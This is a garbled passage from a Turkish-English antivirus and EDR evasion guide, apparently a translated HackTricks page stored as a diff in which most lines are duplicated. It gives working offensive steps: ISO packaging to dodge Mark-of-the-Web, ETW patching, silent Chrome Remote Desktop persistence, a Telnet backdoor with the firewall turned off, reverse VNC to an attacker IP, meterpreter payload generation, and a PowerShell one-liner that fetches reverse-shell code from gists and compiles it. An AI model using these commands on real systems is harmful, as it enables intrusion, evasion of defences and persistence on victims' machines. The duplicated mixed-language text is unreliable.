python AntiTamperKiller.py Confused.exe Confused.clean.exe
```
Çıktı, kendi unpacker'ınızı oluştururken kullanışlı olabilecek 6 anti-tamper parametresini (`key0-key3`, `nameHash`, `internKey`) içerir.
Çıktı, kendi unpacker'ınızı oluştururken faydalı olabilecek 6 anti-tamper parametresini (`key0-key3`, `nameHash`, `internKey`) içerir.
2. Sembol / kontrol akışı kurtarma – *clean* dosyayı **de4dot-cex** (ConfuserEx farkında de4dot çatallaması) ile besleyin.
2. Symbol / control-flow kurtarma – *clean* dosyayı **de4dot-cex** (ConfuserEx farkındalıklı de4dot fork'u) ile besleyin.
```bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
```
Flags:
• `-p crx` – ConfuserEx 2 profilini seç
• de4dot kontrol-akışı flattening'ini geri alacak, orijinal namespace'leri, class'ları ve değişken isimlerini geri getirecek ve sabit string'leri çözecektir.
Parametreler:
• `-p crx` – ConfuserEx 2 profilini seçer
• de4dot control-flow flattening'i geri alır, orijinal namespace'leri, sınıfları ve değişken adlarını geri getirir ve sabit string'leri çözer.
3. Proxy-call kaldırma – ConfuserEx, doğrudan method çağrılarını decompilation'ı daha da bozmak için hafif sarıcılarla (diğer adıyla *proxy calls*) değiştirir. Bunları **ProxyCall-Remover** ile kaldırın:
3. Proxy-call temizleme – ConfuserEx, decompilation'ı daha da bozmak için doğrudan method çağrılarını hafif sarmalayıcılarla (diğer adıyla *proxy call*'lar) değiştirir. Bunları **ProxyCall-Remover** ile kaldırın:
```bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
```
Bu adımdan sonra, opak sarıcı fonksiyonlar (`Class8.smethod_10`, …) yerine `Convert.FromBase64String` veya `AES.Create()` gibi normal .NET API'lerini gözlemlemelisiniz.
Bu adımdan sonra `Convert.FromBase64String` veya `AES.Create()` gibi normal .NET API'lerini, opak sarmalayıcı fonksiyonlar (`Class8.smethod_10`, …) yerine görmelisiniz.
4. Manuel temizlik – Ortaya çıkan ikiliyi dnSpy altında çalıştırın, büyük Base64 blob'ları veya `RijndaelManaged`/`TripleDESCryptoServiceProvider` kullanımını arayarak *gerçek* payload'u bulun. Genellikle kötü amaçlı yazılım bunu `<Module>.byte_0` içinde başlatılan TLV-encoded bir byte dizisi olarak depolar.
4. Manuel temizlik – ortaya çıkan binary'yi dnSpy altında çalıştırın, büyük Base64 blob'ları veya `RijndaelManaged`/`TripleDESCryptoServiceProvider` kullanımını arayarak *gerçek* payload'u bulun. Çoğu zaman malware bunu `<Module>.byte_0` içinde TLV-encoded bir byte array olarak başlatır.
Yukarıdaki zincir, kötü amaçlı örneği çalıştırmaya gerek kalmadan yürütme akışını **geri yükler** — çevrimdışı bir iş istasyonunda çalışırken kullanışlıdır.
Yukarıdaki zincir, kötü amaçlı sample'ı çalıştırmadan yürütme akışını **geri yükler** — offline bir iş istasyonunda çalışırken faydalıdır.
> 🛈 ConfuserEx, otomatik örnek triage'i için IOC olarak kullanılabilecek `ConfusedByAttribute` adlı özel bir attribute üretir.
> 🛈 ConfuserEx, `ConfusedByAttribute` adında özel bir attribute üretir; bu, sample'ları otomatik olarak triage etmek için bir IOC olarak kullanılabilir.
#### Tek satırlık
#### Tek satır
```bash
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
```
---
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) and tamper-proofing.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstates how to use `C++11/14` language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler.
- [**obfy**](https://github.com/fritzone/obfy): Add a layer of obfuscated operations generated by the C++ template metaprogramming framework which will make the life of the person wanting to crack the application a little bit harder.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is a x64 binary obfuscator that is able to obfuscate various different pe files including: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame is a simple metamorphic code engine for arbitrary executables.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is a fine-grained code obfuscation framework for LLVM-supported languages using ROP (return-oriented programming). ROPfuscator obfuscates a program at the assembly code level by transforming regular instructions into ROP chains, thwarting our natural conception of normal control flow.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [LLVM](http://www.llvm.org/) derleme paketinin açık kaynaklı bir fork'unu sağlayarak [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) ve tamper-proofing yoluyla yazılım güvenliğini artırmaktır.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator, herhangi bir dış araç kullanmadan ve derleyiciyi değiştirmeden derleme zamanında obfuscated code üretmek için `C++11/14` dilinin nasıl kullanılacağını gösterir.
- [**obfy**](https://github.com/fritzone/obfy): C++ template metaprogramming çerçevesi tarafından oluşturulan bir katman obfuscated operations ekleyerek uygulamayı kırmak isteyen kişilerin işini biraz daha zorlaştırır.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz, .exe, .dll, .sys dahil olmak üzere çeşitli pe files türlerini obfuscate edebilen bir x64 binary obfuscator'dır.
- [**metame**](https://github.com/a0rtega/metame): Metame, rastgele yürütülebilir dosyalar için basit bir metamorphic code engine'dir.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator, ROP (return-oriented programming) kullanarak LLVM-supported languages için ince taneli code obfuscation framework'üdür. ROPfuscator, normal talimatları ROP zincirlerine dönüştürerek programı assembly kodu seviyesinde obfuscate eder ve normal kontrol akışı algımızı bozur.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt, Nim ile yazılmış bir .NET PE Crypter'dır.
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor, mevcut EXE/DLL'leri shellcode'a dönüştürebilir ve ardından onları yükleyebilir.
## SmartScreen & MoTW
İnternetten bazı yürütülebilir dosyaları indirip çalıştırdığınızda bu ekranı görmüş olabilirsiniz.
You may have seen this screen when downloading some executables from the internet and executing them.
Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak zararlı uygulamaları çalıştırmaktan korumayı amaçlayan bir güvenlik mekanizmasıdır.
Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen ağırlıklı olarak itibar tabanlı bir yaklaşımla çalışır; nadiren indirilen uygulamalar SmartScreen'i tetikler ve böylece dosyanın çalıştırılmasını engelleyip kullanıcıyı uyarır (ancak dosya hala Daha Fazla Bilgi -> Yine de Çalıştır seçilerek çalıştırılabilir).
SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).
**MoTW** (Mark of The Web), Zone.Identifier adında bir NTFS Alternate Data Stream olarak internetten indirilen dosyalar üzerinde otomatik olarak oluşturulur; içinde dosyanın indirildiği URL de bulunur.
**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
<figure><img src="../images/image (237).png" alt=""><figcaption><p>İnternetten indirilen bir dosyanın Zone.Identifier ADS'sinin kontrol edilmesi.</p></figcaption></figure>
<figure><img src="../images/image (237).png" alt=""><figcaption><p>İnternetten indirilen bir dosya için Zone.Identifier ADS'sini kontrol etme.</p></figcaption></figure>
> [!TIP]
> **Güvenilir** bir imzalama sertifikasıyla imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** not etmek önemlidir.
> Bir yürütülebilir dosyanın **güvenilir** bir imzalama sertifikası ile imzalanmış olması **SmartScreen'i tetiklemez**.
Payload'larınızın Mark of The Web almasını önlemenin çok etkili yollarından biri, bunları ISO gibi bir konteyner içinde paketlemektir. Bunun nedeni, Mark-of-the-Web (MOTW) uygulamasının **NTFS olmayan** hacimlere uygulanamamamasıdır.
Payload'larınızın Mark of The Web almasını önlemenin çok etkili bir yolu, onları bir ISO gibi bir kapsayıcı içine paketlemektir. Bunun nedeni Mark-of-the-Web (MOTW)'ün **non NTFS** hacimlere **uygulanamamasıdır**.
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) payload'ları Mark-of-the-Web'ten kaçınmak için çıktı konteynerlerine paketleyen bir araçtır.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web.
Örnek kullanım:
Example usage:
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
@ -389,51 +387,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
## ETW
Event Tracing for Windows (ETW), Windows'ta uygulamaların ve sistem bileşenlerinin **olayları kaydetmesine** olanak veren güçlü bir kayıt mekanizmasıdır. Ancak, güvenlik ürünleri tarafından kötü niyetli etkinlikleri izlemek ve tespit etmek için de kullanılabilir.
Event Tracing for Windows (ETW) is a powerful logging mechanism in Windows that allows applications and system components to **olayları kaydetmesine** olanak tanır. Ancak, güvenlik ürünleri tarafından kötü amaçlı aktiviteleri izlemek ve tespit etmek için de kullanılabilir.
AMSI'nin devre dışı bırakılmasına (atlatılmasına) benzer şekilde, kullanıcı alanı sürecinin **`EtwEventWrite`** fonksiyonunun herhangi bir olay kaydetmeden hemen dönmesini sağlamak da mümkündür. Bu, fonksiyonu bellekte yama yaparak hemen dönmesini sağlamakla yapılır; böylece o süreç için ETW kaydı fiilen devre dışı bırakılmış olur.
AMSI'nin devre dışı bırakılmasına (bypass edilmesine) benzer şekilde, kullanıcı alanı işleminin **`EtwEventWrite`** fonksiyonunun herhangi bir olay kaydetmeden hemen dönecek şekilde yapılması da mümkündür. Bu, bellekte fonksiyonu hemen dönecek şekilde patch'leyerek yapılır; böylece söz konusu işlem için ETW kaydı fiilen devre dışı bırakılmış olur.
Daha fazla bilgi için şunlara bakabilirsiniz: **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
## C# Assembly Reflection
C# ikili dosyalarını bellekte yüklemek uzun zamandır bilinen bir yöntemdir ve AV tarafından yakalanmadan post-exploitation araçlarınızı çalıştırmak için hâlâ çok iyi bir yoldur.
C# ikili dosyalarını belleğe yüklemek uzun zamandır biliniyor ve AV tarafından yakalanmadan post-exploitation araçlarınızı çalıştırmak için hâlâ çok iyi bir yöntemdir.
Payload doğrudan diske dokunmadan belleğe yükleneceği için, tüm süreç için AMSI'yi yama yapma konusunu düşünmemiz yeterli olacaktır.
Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.
Çoğu C2 framework'ü (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# assembly'lerini doğrudan bellekte çalıştırma yeteneği sağlar, ancak bunu yapmanın farklı yolları vardır:
Çoğu C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) zaten C# assembly'lerini doğrudan bellekte çalıştırma yeteneği sağlar, ancak bunu yapmanın farklı yolları vardır:
- **Fork\&Run**
Bu yöntem, **yeni bir kurban süreç (sacrificial process) oluşturmayı**, post-exploitation kötü amaçlı kodunuzu o yeni sürece enjekte etmeyi, kötü amaçlı kodu çalıştırmayı ve iş bitince yeni süreci sonlandırmayı içerir. Bunun hem avantajları hem de dezavantajları vardır. Fork and run yönteminin avantajı, çalıştırmanın Beacon implant sürecimizin **dışında** gerçekleşmesidir. Bu, post-exploitation eylemimiz sırasında bir şey ters gider veya yakalanırsa, implantımızın hayatta kalma olasılığının **çok daha yüksek** olduğu anlamına gelir. Dezavantajı ise, **Davranışsal Tespitler (Behavioural Detections)** tarafından yakalanma olasılığınızın **daha yüksek** olmasıdır.
Bu yöntem, yeni bir **sacrificial process** oluşturmayı, post-exploitation kötü amaçlı kodunuzu o yeni sürece inject etmeyi, kötü amaçlı kodu çalıştırmayı ve iş bitince yeni süreci sonlandırmayı içerir. Bunun hem avantajları hem de dezavantajları vardır. Fork and run yönteminin avantajı, yürütmenin Beacon implant sürecimizin **dışında** gerçekleşmesidir. Bu, post-exploitation eylemlerimizden biri ters gider veya yakalanırsa implantımızın hayatta kalma olasılığının **çok daha yüksek** olduğu anlamına gelir. Dezavantajı ise Behavioural Detections tarafından yakalanma **olasılığınızın daha yüksek** olmasıdır.
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
Bu yöntem, post-exploitation kötü amaçlı kodu **kendi sürecinin içine** enjekte etmeyi ifade eder. Bu sayede yeni bir süreç oluşturup AV tarafından taranmasını engelleyebilirsiniz, ancak dezavantajı, payload'unuzun çalıştırılması sırasında bir şey ters giderse beacon'ınızı **kaybetme** olasılığının **çok daha yüksek** olmasıdır çünkü süreç çökebilir.
Bu, post-exploitation kötü amaçlı kodu **kendi sürecine** inject etmekle ilgilidir. Bu şekilde yeni bir süreç oluşturmak ve AV tarafından taranmasını sağlamak zorunda kalmazsınız, ancak dezavantajı payload'unuzun yürütülmesinde bir şeyler ters giderse süreç çökebileceği için **beacon'ınızı kaybetme** olasılığının **çok daha yüksek** olmasıdır.
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Eğer C# Assembly yükleme hakkında daha fazla okumak isterseniz, bu makaleye göz atın: [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) ve onların InlineExecute-Assembly BOF'unu inceleyin ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> C# Assembly yükleme hakkında daha fazla okumak isterseniz, şu makaleye bakın [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) ve onların InlineExecute-Assembly BOF'u ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Ayrıca C# Assembly'lerini **PowerShell** üzerinden de yükleyebilirsiniz, bakınız [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) ve [S3cur3th1sSh1t'in videosu](https://www.youtube.com/watch?v=oe11Q-3Akuk).
C# Assembly'lerini ayrıca **PowerShell'den** de yükleyebilirsiniz; bakınız [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) ve [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
## Using Other Programming Languages
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), başka diller kullanarak kötü amaçlı kod yürütmek mümkündür; bunun için ele geçirilmiş makinenin Attacker Controlled SMB share üzerine kurulu yorumlayıcı ortamına (interpreter environment) erişimi olması yeterlidir.
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), ele geçirilen makineye Attacker Controlled SMB share üzerinde kurulu interpreter ortamına erişim vererek diğer dillerle kötü amaçlı kod çalıştırmak mümkündür.
SMB paylaşımındaki Interpreter Binaries ve ortamına erişim izni vererek, ele geçirilmiş makinenin belleği içinde bu dillerde **herhangi bir kodu çalıştırabilirsiniz**.
SMB paylaşımdaki Interpreter Binaries ve ortama erişime izin vererek, ele geçirilen makinenin belleği içinde bu dillerde **herhangi bir kodu çalıştırabilirsiniz**.
Repo şu notu içeriyor: Defender hala betikleri tarıyor, ancak Go, Java, PHP vb. kullanarak **statik imzaları atlatmak için daha fazla esneklik** elde ediyoruz. Bu dillerde rastgele, obfuske edilmemiş reverse shell betikleri ile yapılan testler başarılı olmuştur.
The repo indicates: Defender still scans the scripts but by utilising Go, Java, PHP etc we have **daha fazla esneklik ile statik imzaları atlatma**. Bu dillerde rastgele un-obfuscated reverse shell scriptleri ile yapılan testler başarılı oldu.
## TokenStomping
Token stomping, bir saldırganın **erişim token'ını veya bir EDR ya da AV gibi bir güvenlik ürününü manipüle etmesine** olanak tanıyan bir tekniktir; bu sayede sürecin ölmemesini sağlarken, kötü niyetli etkinlikleri kontrol etme izinlerini düşürebilir.
Token stomping, bir saldırganın erişim token'ını veya bir güvenlik ürünü (ör. EDR ya da AV) üzerinde **yetkileri manipüle etmesine** olanak tanıyan bir tekniktir; böylece süreç sonlanmaz ama kötü amaçlı aktiviteleri kontrol etme izinlerine sahip olmaz.
Bunu önlemek için Windows, güvenlik süreçlerinin token'ları üzerinde dış süreçlerin handle almasını **engelleyebilir**.
To prevent this Windows could **prevent external processes** from getting handles over the tokens of security processes.
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
@ -443,26 +441,26 @@ Bunu önlemek için Windows, güvenlik süreçlerinin token'ları üzerinde dı
### Chrome Remote Desktop
Bu [**blog yazısında**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) açıklandığı gibi, kurbanın PC'sine Chrome Remote Desktop'ı yükleyip onu ele geçirip kalıcılık sağlamak kolaydır:
1. https://remotedesktop.google.com/ adresinden indirin, "Set up via SSH"e tıklayın ve ardından Windows için MSI dosyasını indirmek üzere MSI dosyasına tıklayın.
2. Kurulumu hedef makinede sessizce çalıştırın (yönetici gerekli): `msiexec /i chromeremotedesktophost.msi /qn`
3. Chrome Remote Desktop sayfasına geri dönün ve next'e tıklayın. Sihirbaz sizi yetkilendirme istemiyle yönlendirecektir; devam etmek için Authorize düğmesine tıklayın.
4. Verilen parametreyi bazı ayarlamalarla çalıştırın: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (GUI kullanmadan pin ayarlamaya izin veren pin parametresine dikkat edin.)
As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), bir hedefin PC'sine Chrome Remote Desktop'ı deploy etmek ve ardından ele geçirip persistence sağlamak kolaydır:
1. https://remotedesktop.google.com/ adresinden indirin, "Set up via SSH"e tıklayın ve Windows için MSI dosyasını indirmek için MSI dosyasına tıklayın.
2. Kurulumu hedefte sessizce çalıştırın (admin gerekli): `msiexec /i chromeremotedesktophost.msi /qn`
3. Chrome Remote Desktop sayfasına geri dönün ve next'e tıklayın. Kurulum sihirbazı sizden yetki isteyecek; devam etmek için Authorize düğmesine tıklayın.
4. Verilen parametreyi bazı ayarlamalarla çalıştırın: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Not: pin parametresi GUI'yi kullanmadan pin belirlemenize olanak tanır.)
## Gelişmiş Kaçınma
## Advanced Evasion
Kaçınma çok karmaşık bir konudur; bazen tek bir sistemde birçok farklı telemetri kaynağını hesaba katmanız gerekir, bu nedenle olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır.
Evasion çok karmaşık bir konudur; bazen tek bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekir, bu yüzden olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır.
Karşılaştığınız her ortamın kendi güçlü ve zayıf yönleri olacaktır.
Her karşılaştığınız ortamın kendi güçlü ve zayıf yönleri olacaktır.
Daha gelişmiş Evasion tekniklerine giriş yapmak için [@ATTL4S](https://twitter.com/DaniLJ94)'un bu konuşmasını izlemenizi şiddetle tavsiye ederim.
Daha ileri seviye Evasion tekniklerine giriş yapmak için [@ATTL4S](https://twitter.com/DaniLJ94)'ın bu konuşmasını izlemenizi şiddetle tavsiye ederim.
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Bu aynı zamanda Evasion in Depth hakkında [@mariuszbit](https://twitter.com/mariuszbit) tarafından verilmiş başka harika bir konuşmadır.
Bu aynı zamanda [@mariuszbit](https://twitter.com/mariuszbit)'in Evasion in Depth hakkında başka harika bir konuşmasıdır.
{{#ref}}
@ -471,51 +469,51 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
## **Eski Teknikler**
### **Defender'ın hangi parçaları zararlı bulduğunu kontrol et**
### **Defender'ın hangi parçaları kötü amaçlı bulduğunu kontrol etme**
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) aracını kullanabilirsiniz; bu araç binary'nin parçalarını **kaldırana kadar** parça parça test ederek **Defender'ın hangi kısmı** zararlı bulduğunu tespit eder ve size ayırır.\
Aynı işi yapan başka bir araç da [**avred**](https://github.com/dobin/avred) olup, hizmeti açık bir web üzerinden [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) adresinde sunmaktadır.
ThreatCheck'ı kullanabilirsiniz ([**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)), bu araç **ikili dosyanın parçalarını kaldıracak** ve **Defender'ın hangi kısmı kötü amaçlı bulduğunu** tespit edene kadar bunu yapıp sonucu size bölecektir.\
Aynı işi yapan başka bir araç ise [**avred**](https://github.com/dobin/avred) olup açık web üzerinden hizmeti [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) adresinde sunmaktadır.
### **Telnet Server**
Windows10'a kadar, tüm Windows sürümleri (yönetici olarak) şu şekilde kurabileceğiniz bir **Telnet server** ile birlikte geliyordu:
Windows 10'a kadar, tüm Windows sürümleri yönetici olarak şunu yaparak kurabileceğiniz bir **Telnet server** ile geliyordu:
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
Sistem başlatıldığında onun **başlamasını** sağlayın ve şimdi onu **çalıştırın**:
Sistem başlatıldığında **başlatılmasını sağlayın** ve şimdi **çalıştırın**:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**telnet portunu değiştir** (stealth) ve firewall'ı devre dışı bırak:
**telnet portunu değiştir** (stealth) ve firewall'u devre dışı bırak:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (bin indirmelerini seçin; setup'ı değil)
İndirin: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (bin indirmelerini seçin, setup'ı değil)
**ON THE HOST**: Çalıştırın _**winvnc.exe**_ ve sunucuyu yapılandırın:
**ON THE HOST**: _**winvnc.exe**_ çalıştırın ve sunucuyu yapılandırın:
- _Disable TrayIcon_ seçeneğini etkinleştirin
- _VNC Password_ alanına bir parola belirleyin
- _View-Only Password_ alanına bir parola belirleyin
- Enable the option _Disable TrayIcon_
- Set a password in _VNC Password_
- Set a password in _View-Only Password_
Ardından, ikili _**winvnc.exe**_ ve yeni oluşturulan _**UltraVNC.ini**_ dosyasını **victim** içine taşıyın
Daha sonra, ikili _**winvnc.exe**_ ve **newly** oluşturulan dosya _**UltraVNC.ini**_ dosyasını **victim** içine taşıyın
#### **Reverse connection**
The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Sonra, **victim** içinde: winvnc daemon'unu `winvnc.exe -run` ile başlatın ve `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` komutunu çalıştırın
**attacker** kendi **host**'unda `vncviewer.exe -listen 5900` ikilisini **execute inside** etmelidir; böylece reverse **VNC connection** yakalamaya **prepared** olur. Ardından, **victim** içinde: winvnc daemon'unu `winvnc.exe -run` ile başlatın ve `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` çalıştırın
**UYARI:** Gizliliği korumak için aşağıdakileri yapmamalısınız
**WARNING:** Gizliliği korumak için bazı şeyleri yapmamalısınız
- `winvnc` zaten çalışıyorsa başlatmayın yoksa bir [popup](https://i.imgur.com/1SROTTl.png) tetiklersiniz. Çalışıp çalışmadığını `tasklist | findstr winvnc` ile kontrol edin
- Aynı dizinde `UltraVNC.ini` olmadan `winvnc` başlatmayın yoksa [config penceresi](https://i.imgur.com/rfMQWcf.png) açılır
- Yardım için `winvnc -h` çalıştırmayın yoksa bir [popup](https://i.imgur.com/oc18wcu.png) tetiklersiniz
- `winvnc` zaten çalışıyorsa başlatmayın veya [popup](https://i.imgur.com/1SROTTl.png) tetiklenir. Çalışıp çalışmadığını `tasklist | findstr winvnc` ile kontrol edin
- `UltraVNC.ini` aynı dizinde olmadan `winvnc`'i başlatmayın veya [the config window](https://i.imgur.com/rfMQWcf.png) açılır
- `winvnc -h` ile yardım çalıştırmayın, aksi halde [popup](https://i.imgur.com/oc18wcu.png) tetiklenir
### GreatSCT
Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
İndirin: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
@ -523,7 +521,7 @@ cd GreatSCT/setup/
cd ..
./GreatSCT.py
```
GreatSCT İçinde:
GreatSCT'in İçinde:
```
use 1
list #Listing available payloads
@ -533,17 +531,17 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
Şimdi **lister'ı başlatın** `msfconsole -r file.rc` ile ve **xml payload**'ı aşağıdaki komutla **çalıştırın**:
Şimdi `msfconsole -r file.rc` ile **lister'ı başlatın** ve **xml payload**'ı **çalıştırın**:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Mevcut defender süreci çok hızlı şekilde sonlandıracaktır.**
**Mevcut defender işlemi çok hızlı sonlandıracaktır.**
### Kendi reverse shell'imizi derleme
### Kendi reverse shell'imizi derlemek
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### First C# Revershell
#### İlk C# Revershell
Şu komutla derleyin:
```
@ -626,7 +624,7 @@ catch (Exception err) { }
}
}
```
### C# using derleyici
### C# using derleyicisi
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
@ -634,7 +632,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe RE
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
Otomatik indirme ve çalıştırma:
Otomatik indirme ve yürütme:
```csharp
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
@ -661,7 +659,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### python kullanarak injectors oluşturma örneği:
### injector oluşturmak için python örneği:
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
@ -694,23 +692,23 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
## Bring Your Own Vulnerable Driver (BYOVD) – Kernel Alanından AV/EDR'yi Sonlandırma
## Bring Your Own Vulnerable Driver (BYOVD) – Çekirdek Alanından AV/EDR'i Sonlandırma
Storm-2603, fidye yazılımı bırakmadan önce uç nokta korumalarını devre dışı bırakmak için **Antivirus Terminator** olarak bilinen küçük bir konsol aracından yararlandı. Araç kendi **zayıf ama *imzalı* sürücüsünü** getiriyor ve Protected-Process-Light (PPL) AV servislerinin bile engelleyemediği ayrıcalıklı kernel işlemlerini gerçekleştirmek için bunu suistimal ediyor.
